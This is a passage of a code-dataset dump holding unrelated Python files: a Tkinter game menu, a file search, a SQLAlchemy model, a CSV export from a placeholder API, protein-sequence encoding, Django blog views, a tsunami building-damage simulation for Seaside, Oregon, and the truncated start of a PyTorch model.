Label(win, text=\"BOUNCE!!\", fg=\"lime\", bg=\"black\", font=(\"arial black\", 40, \"italic\")).place(x=160,y=70)\r\nbyline = Label(win, text=\"By TechLord\", fg=\"white\", bg=\"black\", font=(\"arial black\", 10, \"italic\")).place(x=350,y=135)\r\ntwo_player = Button(win, width=10, text=\"Play\", fg=\"black\", bg=\"#7fff00\", font=(\"calibri\", 20, \"bold\"), cursor=\"hand2\", command=twoplayer).place(x=230,y=230)\r\ninstruct = Button(win, width=10,text=\"Instructions\", fg=\"black\", bg=\"#7fff00\", font=(\"calibri\", 20, \"bold\"), cursor=\"hand2\", command=instructions).place(x=230,y=300)\r\nabout = Button(win, width=10,text=\"About\", fg=\"black\", bg=\"#7fff00\", font=(\"calibri\", 20, \"bold\"), cursor=\"hand2\", command=About).place(x=230,y=370)\r\nclose = Button(win, width=10,text=\"Exit\", fg=\"black\", bg=\"#7fff00\", font=(\"calibri\", 20, \"bold\"), cursor=\"hand2\", command=Close).place(x=230,y=440)\r\nwin.mainloop()\r\n\r\n","sub_path":"Project.py","file_name":"Project.py","file_ext":"py","file_size_in_byte":9918,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"70551824","text":"\"\"\" ==================================================================================\n====================================================================================== \"\"\"\n\nimport os\nimport fnmatch  # <-- file name match module is used to match files whose names follow some sort of pattern\n\n\"\"\" *\n    *   _ mentioned here is to show that you are not using a valley but have to specify value when doing things like \n    *   packing a top all or dealing with values returned by function call.\n    *   for this example we return a tuple containing the album name and the path to songs\n    * \"\"\"\ndef find_albums(root, artist_name):\n    for path, directories, files in os.walk(root):\n        # so here we are filtering out the directory names that match the given artist name\n        for artist in fnmatch.filter(directories, artist_name):\n            subdir = os.path.join(path,artist)\n            for album_path, albums, _ in os.walk(subdir):\n                for album in albums:\n                    yield os.path.join(album_path, album),album\n\n\ndef find_songs(albums):\n    for album in albums:\n        for song in os.listdir(album[0]):  # <-- we want the path, not the name of the album\n            yield song\n\n\"\"\" *\n    *   so even the wild card character * works with the filter method of fnmatch\n    *   so the search string depends on the operating system like if you provide the search string all in lower case \n    *   then also it will return the same result\n    *   but the same is not true with the ubuntu or mac system as it is case sensitive search.\n    * \"\"\"\nalbums_list = find_albums(\".\\music\", \"Black*\")\nsong_list = find_songs(albums_list)\n\nfor s in song_list:\n    print(s)","sub_path":"Advanced_Features/src/Generators/file_search.py","file_name":"file_search.py","file_ext":"py","file_size_in_byte":1692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"46351534","text":"from Model.Conexion import Base,Producto,Categoria,session\nfrom sqlalchemy import exc\n\nclass CategoriaModel(object):\n\n\n    def insert(self,categoriaNueva):\n        categoria = Categoria()\n        categoria.nombre = categoriaNueva.nombre\n        try:\n            session.add(categoria)\n            session.commit()\n            return categoria\n        except:\n            session.rollback()\n            return None\n\n    def getAll(self):\n        categorias = session.query(Categoria).all()\n\n    def getOne(self,id):\n        if(session.query(Categoria).filter(Categoria.id == id).count()==1):\n            return session.query(Categoria).filter(Categoria.id == id).first()\n        else:\n            return None\n\n    def getProductos(self,categoria):\n        idCategoria = categoria.id\n        if (session.query(Producto).filter(Producto.id_categoria == idCategoria).count() >= 1):\n            return session.query(Producto).filter(Producto.id == id).all()\n        else:\n            return None\n","sub_path":"Model/CategoriaModel.py","file_name":"CategoriaModel.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"217875578","text":"#!/usr/bin/python3\n\"\"\"\nExports the collected data in CSV format\n\"\"\"\nimport csv\nimport requests\nimport sys\n\n\ndef foo():\n    try:\n        employee_id = sys.argv[1]\n    except:\n        return\n\n    user_request = requests.get(\n        \"https://jsonplaceholder.typicode.com/users/{}\".format(employee_id)\n    )\n    todo_request = requests.get(\"https://jsonplaceholder.typicode.com/todos\")\n    todo_list_convert = todo_request.json()\n\n    dict_list = []\n    for item in todo_list_convert:\n        if item.get('userId') == int(employee_id):\n            dict_list.append(item)\n\n    username = user_request.json()['username']\n\n    with open('{}.csv'.format(employee_id), 'w') as csvfile:\n        testwriter = csv.writer(csvfile, quoting=csv.QUOTE_ALL)\n        for item in dict_list:\n            testwriter.writerow([employee_id,\n                                 username,\n                                 str(item.get('completed')),\n                                 str(item.get('title'))\n                                 ])\n\n\nif __name__ == \"__main__\":\n    foo()\n","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"53346711","text":"\n# coding: utf-8\n\n# In[25]:\n\nimport numpy as np\nfrom Bio import SeqIO\nimport matplotlib.pyplot as plt\n#get_ipython().magic('matplotlib inline')\nimport pickle as pk\n\n\n# In[33]:\n\npros = list(SeqIO.parse(open(\"data/zq/Human_protein_subcellular_localization/slhp.fasta\"), 'fasta'))\nalls0 = list(map(lambda x: (str(x.seq), x.description.split(',')[1]), pros))\n\n\n# In[39]:\n\n#filter out lengh > 2000\nalls = list(filter(lambda x: len(x[0])<1001, alls0))\n\nx_seqall, y_lblall = zip(*alls)\nprint(\"Total sample\", len(x_seqall), len(y_lblall))\n\n\n# #确认字符集只有 ACDEFGHIKLMNPQRSTVWY + U\n# s = set(); \n# for x in x_seqall: s = s.union(list(x)) ;\n# print(s)\n\n# In[28]:\n\n# plt.figure(figsize=(10,5))\n# #axes = plt.gca()\n# #axes.set_xlim([0,5000])\n# plt.hist(sorted(list(map(len, x_seqall))), bins=500)\n# plt.title(\"Protein length distribution\")\n# plt.xlabel(\"Protein length\")\n# plt.ylabel(\"Frequency\")\n\n\n# In[40]:\n\nALPHA = 'ACDEFGHIKLMNPQRSTVWYU'       # U is 20\nidx   = [np.array(list(map(ALPHA.index,x)), dtype=np.byte) for x in x_seqall]\nfor x in idx: x[ x>19 ] = 1           # U都当做C\nx_vecall = [np.eye(20, dtype=np.byte)[x] for x in idx] # int to one-hot\n#y_vecall = [np.array(list(map(int, x)), dtype=np.byte) for x in y_lblall]\ny_vecall = [np.eye(2)[np.array(list(map(int,x)))] for x in y_lblall] # element shape: (10,2)\n\n\n\n# In[41]:\n\npk.dump((x_vecall, y_vecall), open(\"data/zq/Human_protein_subcellular_localization/slhp.xyVEC2.pkl\", 'wb'))\n\n","sub_path":"mlabelPRT_data.py","file_name":"mlabelPRT_data.py","file_ext":"py","file_size_in_byte":1449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"496920327","text":"from django.shortcuts import render\nfrom django.utils import timezone\nfrom .models import Post\nfrom django.shortcuts import render, get_object_or_404\nfrom .forms import PostForm\nfrom django.shortcuts import redirect\n\ndef post_list(request):\n    posts = Post.objects.filter(published_date__lte=timezone.now()).order_by('published_date')\n    return render(request, 'blog/post_list.html', {'posts': posts})\n\ndef post_detail(request, pk): # request, 그리고 urls에 지정한것과 동일한 이름인 pk를 넣어준다.\n    post = get_object_or_404(Post, pk=pk) # pk가 없는 포스트라면 404페이지로 넘겨준다.\n    return render(request, 'blog/post_detail.html', {'post': post})\n\n\ndef post_new(request):\n    if request.method == \"POST\": # 폼에 입력된 데이터를 view페이지로 가지고 올 때. request는.POST 우리가 입력했던 데이터들 갖고있음.\n        form = PostForm(request.POST)\n        if form.is_valid(): # 폼에 들어있는 값들이 올바른지 확인. 잘못된 값이 있다면 저장 ㄴㄴ\n            post = form.save(commit=False) # 폼을 저장하는 작업.commit=False라고 해서 넘겨진 데이터를 바로 POST모델에 저장하지 말라. 작성자 추가해야하니까.\n            post.author = request.user # 작성자를 추가.\n            post.published_date = timezone.now()\n            post.save() # 작성자까지 추가되고 저장.\n            return redirect('blog.views.post_detail', pk=post.pk)\n    else: # 처음 페이지에 접속했을때. 폼이 비어있어야 한다.\n        form = PostForm()\n    return render(request, 'blog/post_edit.html', {'form': form});\n\ndef post_edit(request, pk): #url에서 pk를 받아서 처리\n    post = get_object_or_404(Post, pk=pk) #수정하고자 하는 글의 Post모델 인스턴스를 가져온다. 원하는 글은 pk를 이용해 찾는다.\n    if request.method == \"POST\":\n        form = PostForm(request.POST, instance=post)\n\n        if form.is_valid():\n            post = form.save(commit=False)\n            post.author = request.user\n            post.published_date = timezone.now()\n            post.save()\n            return redirect('blog.views.post_detail', pk=post.pk)\n    else:\n        form = PostForm(instance=post)\n    return render(request, 'blog/post_edit.html', {'form': form});\n","sub_path":"mysite/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"113365661","text":"\"\"\"\n\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% Loss Assesment of Seaside, OR\n% Mohammad Shafiqual Alam & Andre. R. Barbosa\n% Date: 8/25/2015\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n% Data Description\n% col 1= x-utm (Centroid)\n% col 2= y-utm (Centroid)\n% col 3= Fid NEW (Unique number for each cell)\n% col 4= Year information from taxlot\n% col 5= Building type (0~6), [No building, W1, W2, C1, C2, C3, S1]\n% col 6= Num. of Floors (1~9)\n% col 7= Origin of data (1~3),  [1: From Taxlot, 2: Google map, 3: Field survey] \n% col 8= Class_taxlot\n% col 9= Year Classification (0, 1, 2, 3),  [Pre, Low, Moderate, High]\n    % W2, C1~3, S1~2 (W1)\n    % Pre: < 1979\n    % Low: 1979 =< < 1995 (1998)\n    % Mod: 1995 =< < 2003 (2008)\n    % High: >= 2003 (2008)\n% col 10=RMV (Real Market Vale)\n% col 11=RMV_imporved\n% col 12=RMV_land\n% col 13= AREA (m^2) (Only from Taxlot, it may overestimate in many cases)\n% col 14= HAZUS BUILDING CLASS (0-14) ['No building','W1' 'W2' 'C1L' 'C1M' 'C1H' 'C2L' 'C2M' 'C2H' 'C3L' 'C3M''C3H' 'S1L' 'S1M' 'S1H']\n% col 15 = Building Period\n% col 16 = Displacement spectral ordinates (in)\n% col 17-20 = Fragility_Structural_Precode (17=Slight, 18=Moderate, 19=Extensive, 20=Complete)\n% col 21-24 = Fragility_Structural_Low     (21=Slight, 22=Moderate, 23=Extensive, 24=Complete)\n% col 25-28 = Fragility_Structural_Moderate(25=Slight, 26=Moderate, 27=Extensive, 28=Complete)\n% col 29-32 = Fragility_Structural_High    (29=Slight, 30=Moderate, 31=Extensive, 32=Complete)\n% col 33-36 = Arrange the Damage State     (33=Slight, 34=Moderate, 35=Extensive, 36=Complete) \n%(summation( P(DS>ds)* RMV )\n%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%\n\nnote that the above columns are 0 indexed in python (e.g. col - 1)\noriginal code written by Mohammad Shafiqual Alam and Andre Barbosa in Matlab.\nmodified by Sabarethinam Kameshwar.\nconverted from Matlab to python by Dylan R. Sanderson\nFeb. 2019\n\n\"\"\"\nimport os\nimport sys\nimport numpy as np\nfrom scipy import io\nimport scipy.stats as st\nimport time\n\nsys.path.insert(0, '../../py_helpers')\nimport DC_helper as DCH\nfrom h5_writer import h5_writer as h5wrt\nfrom csv_writer import csv_writer as csvwrt\n\nnp.random.seed(1337)\nnp.seterr(divide = 'ignore')\t# ignoring warning signs. np.log(0) results in \"-inf\". \"-inf\" in st.norm.cdf = 0\n\nclass building_damage_tsu():\n\tdef __init__(self):\n\t\tself.setup()\n\t\tself.run()\n\n\t# ~~~ user input up top ~~~\n\tdef user_input_vals(self):\n\t\tself.n_sims = 10000\t\t\t# number of simulations\n\t\tself.retrofit_vals = 4\t\t# originally set to 4\n\t\tself.write_h5 = False \t\t# True/False: write all output to h5 file\n\n\tdef setup(self):\n\t\tself.user_input_vals()\n\t\tself.load_mat_files()\n\t\tself.initialize_variables()\n\t\tself.preallocate_space()\n\n\tdef run(self):\n\t\tself.print_runinfo()\n\t\tfor self.retrofit in range(self.retrofit_vals):\n\t\t\tprint('retrofit: {}' .format(self.retrofit))\n\t\t\tself.Data[self.Data[:,8] < self.retrofit, 8] = self.retrofit\n\t\t\tfor self.r in range(len(self.RT)):\n\t\t\t\tself.load_RTIMs()\n\t\t\t\tfor self.i in range(len(self.Data)):\n\t\t\t\t\tif self.Data[self.i, 4] == 0:\n\t\t\t\t\t\tself.Data_0()\n\t\t\t\t\telif self.Data[self.i, 4] == 1:\n\t\t\t\t\t\tself.Data_1(1)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[0])\n\t\t\t\t\telif self.Data[self.i, 4] == 2:\n\t\t\t\t\t\tself.Data_1(2)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[1])\n\t\t\t\t\telif (self.Data[self.i, 4] == 3) and (self.Data[self.i, 5]<4):\n\t\t\t\t\t\tself.Data_1(3)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[2])\n\t\t\t\t\telif (self.Data[self.i, 4] == 3) and (3<self.Data[self.i, 5]<8):\n\t\t\t\t\t\tself.Data_1(4)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[3])\n\t\t\t\t\telif (self.Data[self.i, 4] == 3) and (self.Data[self.i, 5]>8):\n\t\t\t\t\t\tself.Data_1(5)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[4])\n\t\t\t\t\telif (self.Data[self.i, 4] == 4) and (self.Data[self.i, 5]<4):\n\t\t\t\t\t\tself.Data_1(6)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[5])\n\t\t\t\t\telif (self.Data[self.i, 4] == 4) and (3<self.Data[self.i, 5]<8):\n\t\t\t\t\t\tself.Data_1(7)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[6])\n\t\t\t\t\telif (self.Data[self.i, 4] == 4) and (self.Data[self.i, 5]>8):\n\t\t\t\t\t\tself.Data_1(8)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[7])\n\t\t\t\t\telif (self.Data[self.i, 4] == 5) and (self.Data[self.i, 5]<4):\n\t\t\t\t\t\tself.Data_1(9)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[8])\n\t\t\t\t\telif (self.Data[self.i, 4] == 5) and (3<self.Data[self.i, 5]<8):\n\t\t\t\t\t\tself.Data_1(10)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[9])\n\t\t\t\t\telif (self.Data[self.i, 4] == 5) and (self.Data[self.i, 5]>8):\n\t\t\t\t\t\tself.Data_1(11)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[10])\n\t\t\t\t\telif (self.Data[self.i, 4] == 6) and (self.Data[self.i, 5]<4):\n\t\t\t\t\t\tself.Data_1(12)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[11])\n\t\t\t\t\telif (self.Data[self.i, 4] == 6) and (3<self.Data[self.i, 5]<8):\n\t\t\t\t\t\tself.Data_1(13)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[12])\n\t\t\t\t\telif (self.Data[self.i, 4] == 6) and (self.Data[self.i, 5]>8):\n\t\t\t\t\t\tself.Data_1(14)\n\t\t\t\t\t\tself.prob_collapse(self.BuildingClass[13])\n\t\t\t\tself.Tsu_DamageState[self.retrofit, self.r] = self.Data[:,32:36]\n\n\t\t\tself.define_building_reptime()\n\t\t\tfor self.r in range(len(self.RT)):\n\t\t\t\ttimer = time.time()\n\t\t\t\tself.cases = self.Data[:,4]>0\n\t\t\t\tfor self.i in range(self.n_sims):\n\t\t\t\t\tself.building_eval()\n\n\t\t\t\tprint('elapsed time: {}' .format(time.time() - timer))\n\t\t\n\n\t# ~~~ secondary methods ~~~\n\t#  ~~ from self.setup() ~~\n\tdef load_mat_files(self):\n\t\tself.Data = DCH.readmat('Data_Seaside_V1.mat', 'Data', dtype = 'array')\n\t\tself.Fragility_Structural_Hazus = DCH.readmat('Fragility_Structural_Hazus.mat', 'Fragility_Structural_Hazus', dtype = 'array')\n\n\tdef initialize_variables(self):\n\t\tself.BuildingClass_ID = np.array([1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14]) \n\t\tself.BuildingClass = np.array(['W1', 'W2', 'C1L', 'C1M', 'C1H', 'C2L', 'C2M', 'C2H', 'C3L', 'C3M', 'C3H', 'S1L', 'S1M', 'S1H'])\n\t\tself.BuildingPeriod = np.array([0.35, 0.4, 0.4, 0.75, 1.45, 0.35, 0.56, 1.09, 0.35, 0.56, 1.09, 0.5, 1.08, 2.21])\n\t\tself.T = np.array([0.3, 0.4, 0.4, 0.75, 1.5, 0.3, 0.6, 1, 0.3, 0.6, 1, 0.5, 1, 2])  # IM computed at this periods;\n\t\tself.g=386.4\t# in/s2\n\t\tself.n_lots = len(self.Data[:,0])\t# number of tax lots\n\t\tself.n_DS = 5\t\t\t\t\t\t# number of damage states\n\t\tself.damage_ratio = np.array([0, 0.005, 0.155, 0.555, 0.9])\n\n\t\tself.RT = np.array([100, 200, 250, 500, 1000, 2500, 5000, 10000])\n\t\tself.Data[np.where(self.Data[:,4] == 2.5)[0], 4] = 3\n\t\tself.ori_building_code = self.Data[:,8]\n\t\tnew_cols = np.zeros(len(self.Data)*23).reshape(len(self.Data), 23)\t\t#preallocating empty space in Data matrix \n\t\tself.Data = np.hstack((self.Data, new_cols))\n\t\t\n\t\tself.setup_fragilities_from_hazus()\n\n\t\tself.outfilename = 'building_damage_tsu'\n\n\tdef preallocate_space(self):\n\t\tRT_size = len(self.RT)\n\n\t\tself.time_90p_restore_building = np.zeros(2*self.retrofit_vals*RT_size*self.n_sims).reshape(2, self.retrofit_vals, RT_size, self.n_sims)\t# \"2\" is for \"fast_vals\"\n\t\tself.time_100p_restore_building = np.zeros(2*self.retrofit_vals*RT_size*self.n_sims).reshape(2, self.retrofit_vals, RT_size, self.n_sims)\n\t\tself.tot_rep_cost_building = np.zeros(1*self.retrofit_vals*RT_size*self.n_sims).reshape(1, self.retrofit_vals, RT_size, self.n_sims)\n\t\tself.frac_damaged_building = np.zeros(1*self.retrofit_vals*RT_size*self.n_sims).reshape(1, self.retrofit_vals, RT_size, self.n_sims)\n\t\tself.frac_habitable_building = np.zeros(1*self.retrofit_vals*RT_size*self.n_sims).reshape(1, self.retrofit_vals, RT_size, self.n_sims)\n\t\tself.Tsu_DamageState = np.zeros(self.retrofit_vals*RT_size*len(self.Data)*4).reshape(self.retrofit_vals, RT_size, len(self.Data), 4)\n\n\t#  ~~ from self.run() ~~ \n\tdef print_runinfo(self):\n\t\tprint('starting building damage evaluation')\n\t\tprint('n_sims: {}' .format(self.n_sims))\n\t\tprint('retrofit_vals: {}' .format(self.retrofit_vals))\n\t\tprint('write h5: {}' .format(self.write_h5))\n\n\tdef load_RTIMs(self):\n\t\tfilestr = 'IM_RTP{}YR_drs.mat' .format(self.RT[self.r])\n\t\tself.IM_RTP = DCH.readmat(filestr, 'IM_RTP', dtype = 'array')\n\t\tself.Mflux = self.IM_RTP*(39.37/12)**3 \t# converting mfluxfrom m3/s2 to ft3/s2\n\n\tdef Data_0(self):\n\t\t\tself.Data[self.i,13]=0\n\t\t\tself.Data[self.i,14]=0\n\t\t\tself.Data[self.i,15]=0\n\t\t\tself.Data[self.i,16:20]=0\n\t\t\tself.Data[self.i,20:24]=0\n\t\t\tself.Data[self.i,24:28]=0\n\t\t\tself.Data[self.i,28:32]=0\n\t\t\tself.Data[self.i,32:36] = 0\n\n\tdef Data_1(self, val):\n\t\t\tself.Data[self.i, 13] = val\n\t\t\tself.Data[self.i, 14] = self.BuildingPeriod[val-1]\n\t\t\tself.Data[self.i, 15] = self.Mflux[self.i]\n\n\tdef prob_collapse(self, key_val):\n\t\t# Probability of collapse from appropriate Fragility_Structural_PreCode   \n\t\tif self.Data[self.i, 8] == 0:\n\t\t\tself.Data[self.i, 16] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][3,0]), self.Fragility_Structural[key_val]['Parameter'][3,1])\n\t\t\tself.Data[self.i, 17] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][3,2]), self.Fragility_Structural[key_val]['Parameter'][3,3])\n\t\t\tself.Data[self.i, 18] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][3,4]), self.Fragility_Structural[key_val]['Parameter'][3,5])\n\t\t\tself.Data[self.i, 19] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][3,6]), self.Fragility_Structural[key_val]['Parameter'][3,7])\n\n\t\t# Probability of collapse from appropriate Fragility_Structural_LowCode  \n\t\telif self.Data[self.i, 8] == 1:\n\t\t\tself.Data[self.i, 20] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][2,0]), self.Fragility_Structural[key_val]['Parameter'][2,1])\n\t\t\tself.Data[self.i, 21] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][2,2]), self.Fragility_Structural[key_val]['Parameter'][2,3])\n\t\t\tself.Data[self.i, 22] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][2,4]), self.Fragility_Structural[key_val]['Parameter'][2,5])\n\t\t\tself.Data[self.i, 23] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][2,6]), self.Fragility_Structural[key_val]['Parameter'][2,7])\n\n\t\t# Probability of collapse from appropriate Fragility_Structural_ModerateCode        \n\t\telif self.Data[self.i, 8] == 2:\n\t\t\tself.Data[self.i, 24] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][1,0]), self.Fragility_Structural[key_val]['Parameter'][1,1])\n\t\t\tself.Data[self.i, 25] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][1,2]), self.Fragility_Structural[key_val]['Parameter'][1,3])\n\t\t\tself.Data[self.i, 26] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][1,4]), self.Fragility_Structural[key_val]['Parameter'][1,5])\n\t\t\tself.Data[self.i, 27] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][1,6]), self.Fragility_Structural[key_val]['Parameter'][1,7])\t\n\n\t\t# Probability of collapse from appropriate Fragility_Structural_HighCode      \n\t\telif self.Data[self.i, 8] == 3:\n\t\t\tself.Data[self.i, 28] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][0,0]), self.Fragility_Structural[key_val]['Parameter'][0,1])\n\t\t\tself.Data[self.i, 29] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][0,2]), self.Fragility_Structural[key_val]['Parameter'][0,3])\n\t\t\tself.Data[self.i, 30] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][0,4]), self.Fragility_Structural[key_val]['Parameter'][0,5])\n\t\t\tself.Data[self.i, 31] = st.norm.cdf(np.log(self.Data[self.i, 15]), np.log(self.Fragility_Structural[key_val]['Parameter'][0,6]), self.Fragility_Structural[key_val]['Parameter'][0,7])\t\n\n\t\tif self.Data[self.i, 8] == 0:\n\t\t\tself.Data[self.i,32] = self.Data[self.i,16] \n\t\t\tself.Data[self.i,33] = self.Data[self.i,17] \n\t\t\tself.Data[self.i,34] = self.Data[self.i,18] \n\t\t\tself.Data[self.i,35] = self.Data[self.i,19]\n\t\telif self.Data[self.i, 8] == 1:\n\t\t\tself.Data[self.i,32] = self.Data[self.i,20] \n\t\t\tself.Data[self.i,33] = self.Data[self.i,21] \n\t\t\tself.Data[self.i,34] = self.Data[self.i,22] \n\t\t\tself.Data[self.i,35] = self.Data[self.i,23]\n\t\telif self.Data[self.i, 8] == 2:\n\t\t\tself.Data[self.i,32] = self.Data[self.i,24] \n\t\t\tself.Data[self.i,33] = self.Data[self.i,25] \n\t\t\tself.Data[self.i,34] = self.Data[self.i,26] \n\t\t\tself.Data[self.i,35] = self.Data[self.i,27]\n\t\telif self.Data[self.i, 8] == 3:\n\t\t\tself.Data[self.i,32] = self.Data[self.i,28] \n\t\t\tself.Data[self.i,33] = self.Data[self.i,29] \n\t\t\tself.Data[self.i,34] = self.Data[self.i,30] \n\t\t\tself.Data[self.i,35] = self.Data[self.i,31]\n\n\tdef define_building_reptime(self):\n\t\tself.building_rep_time_mu = np.array([0.5*120, 0.5*120, 360, 720] )\t# restoration time % table 15.10 and 15.11\n\t\tself.building_rep_time_std = np.array([0.5, 0.5, 0.5, 0.5])*self.building_rep_time_mu\t\t\t\t# std for repair time\n\t\tself.building_rep_time_cov = self.building_rep_time_std/self.building_rep_time_mu\t# COV of repair time\n\t\tself.building_rep_time_log_med = np.log(self.building_rep_time_mu/np.sqrt(self.building_rep_time_cov**2+1)) # lognormal parameters for repair time model\n\t\tself.building_rep_time_beta = np.sqrt(np.log(self.building_rep_time_cov**2+1))\n\t\tself.building_rep_time_covm = self.building_rep_time_beta[:, None]*self.building_rep_time_beta\n\n\t\tself.building_rep_time_mu2 = np.array([0.5*120, 0.5*120, 360, 720])*0.5\t# restoration time % table 15.10 and 15.11\n\t\tself.building_rep_time_std2 = np.array([0.5, 0.5, 0.5, 0.5])*self.building_rep_time_mu2*0.5\t\t\t\t# std for repair time\n\t\tself.building_rep_time_cov2 = self.building_rep_time_std2/self.building_rep_time_mu2\t# COV of repair time\n\t\tself.building_rep_time_log_med2 = np.log(self.building_rep_time_mu2/np.sqrt(self.building_rep_time_cov2**2+1)) # lognormal parameters for repair time model\n\t\tself.building_rep_time_beta2 = np.sqrt(np.log(self.building_rep_time_cov2**2+1))\n\t\tself.building_rep_time_covm2 = self.building_rep_time_beta2[:, None]*self.building_rep_time_beta2\n\n\tdef building_eval(self):\n\t\tDS = 5-np.sum(np.heaviside(np.random.uniform(low=0, high=1, size=(self.n_lots,1)) - self.Tsu_DamageState[self.retrofit, self.r], 0.5), axis = 1) \t# damage state\n\n\t\trep_time_building_all = np.column_stack((np.zeros(self.n_lots), np.exp(np.random.multivariate_normal(self.building_rep_time_log_med,self.building_rep_time_covm,self.n_lots))))\t# generating correlated repair time estimates\n\t\trep_time_building_all2 = np.column_stack((np.zeros(self.n_lots), np.exp(np.random.multivariate_normal(self.building_rep_time_log_med2,self.building_rep_time_covm2,self.n_lots))))\t# generating correlated repair time estimates\n\n\t\trep_time_buildings = np.array([rep_time_building_all[int(i), int(obj)-1] for i, obj in enumerate(DS)])\n\t\trep_time_buildings2 = np.array([rep_time_building_all2[int(i), int(obj)-1] for i, obj in enumerate(DS)])\n\n\t\tself.time_90p_restore_building[0, self.retrofit, self.r, self.i] = np.percentile(rep_time_buildings[self.cases], 90)\n\t\tself.time_100p_restore_building[0, self.retrofit, self.r, self.i] = np.max(rep_time_building_all[self.cases])\n\t\t\n\t\tself.time_90p_restore_building[1, self.retrofit, self.r, self.i] = np.percentile(rep_time_buildings2[self.cases], 90)\n\t\tself.time_100p_restore_building[1, self.retrofit, self.r, self.i] = np.max(rep_time_building_all2[self.cases])\n\n\t\trep_costs_buildings = self.damage_ratio[DS.astype(int)-1] * self.Data[:,10]\n\t\tself.tot_rep_cost_building[0, self.retrofit, self.r, self.i] = np.sum(rep_costs_buildings[self.cases])\n\n\t\tself.habitable = np.zeros(np.size(DS))\n\t\tself.habitable[DS<=3] = 1\n\t\tself.habitable[DS>=4] = 0\n\n\t\tself.frac_habitable_building[0, self.retrofit, self.r, self.i] = np.mean(self.habitable[self.cases])\n\t\tself.frac_damaged_building[0, self.retrofit, self.r, self.i] = np.mean(DS[self.cases]>2)\n\t\t\n\t# ~~~ tertiary and beyond methods ~~~\n\tdef setup_fragilities_from_hazus(self):\n\t\tself.Fragility_Structural = {}\n\t\tfor i, obj in enumerate(self.BuildingClass):\n\t\t\tself.Fragility_Structural[obj] = {}\n\t\t\tself.Fragility_Structural[obj]['ID'] = self.BuildingClass_ID[i]\n\t\t\tself.Fragility_Structural[obj]['Parameter'] = self.Fragility_Structural_Hazus[:, 8*i:8*(i+1)] \n\n\nbdt = building_damage_tsu()\n\nif bdt.__dict__['write_h5'] == True:\n\th5wrt(bdt)\n\n\n","sub_path":"buildings/buildings_tsu/building_damage_tsu.py","file_name":"building_damage_tsu.py","file_ext":"py","file_size_in_byte":16530,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"24293473","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# @Project      : FG-NIC\n# @Author       : Xiaoyu LIN\n# @File         : model.py\n# @Description  : This file contains full model architecture for the proposed method.\n\nimport copy\nimport torch\nimport torch.nn as nn\nfrom torch.nn import Module\nimport torch.nn.functional as F\nimport math\n\nfrom degradation import Normalize\n\nclass Model(nn.Module):\n    \n    def __init__(self,\n                 mode: str,\n                 restoration: Module,\n                 fidelity_input: str,\n                 fidelity_output: str,\n                 feature_extractor: Module,\n                 feature_size: int,\n                 classifier: Module,\n                 downsample: str='bilinear',\n                 fidelity=None,\n                 num_channel=16,\n                 increase=0.5,\n                 MEAN: list=[0.485, 0.456, 0.406],\n                 STD: list=[0.229, 0.224, 